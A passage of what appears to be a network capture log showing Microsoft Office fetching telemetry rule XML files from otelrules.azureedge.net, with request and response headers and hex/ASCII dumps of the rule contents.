2024-11-05 09:13:15 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-05 09:13:15 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-05 09:13:15 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-05 09:13:15 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-05 09:13:15 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-05 09:13:15 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-05 09:13:16 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-05 09:13:16 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-05 09:13:16 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-05 09:13:16 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49723	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:17 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:17 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:17 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 281ea711-401e-0047-215f-2e8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091317Z-157b9fd754fpwmfshC1SN1nanw00000004c0000000000yz8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:17 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49720	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:17 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:17 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:17 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: ece73ca0-101e-007a-073f-2e047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091317Z-157b9fd754ftc7cbhC1SN1xe2w000000048g000000000t7h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:17 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49724	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:17 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:17 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:17 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: d78ce712-d01e-007a-194f-2ef38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091317Z-158dbd74bf4jwfhhhC1SN1bnb000000003wg000000002gq5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:17 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49722	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:17 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:17 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:17 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 23b843a5-001e-0065-686a-2e0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091317Z-157b9fd754fqtvfchC1SN1b6mc000000043g000000003hhz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:17 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49721	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:17 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:18 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:17 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 5dfad506-901e-0029-2a46-2e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091317Z-157b9fd754f2l2w5hC1SN1vs4g0000000440000000002sbd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:18 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49727	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:18 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:18 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:18 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 7b71120f-601e-0050-0560-2e2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091318Z-157b9fd754frph49hC1SN1dtxw00000004e0000000000cbg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:18 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49726	13.107.253.45	443

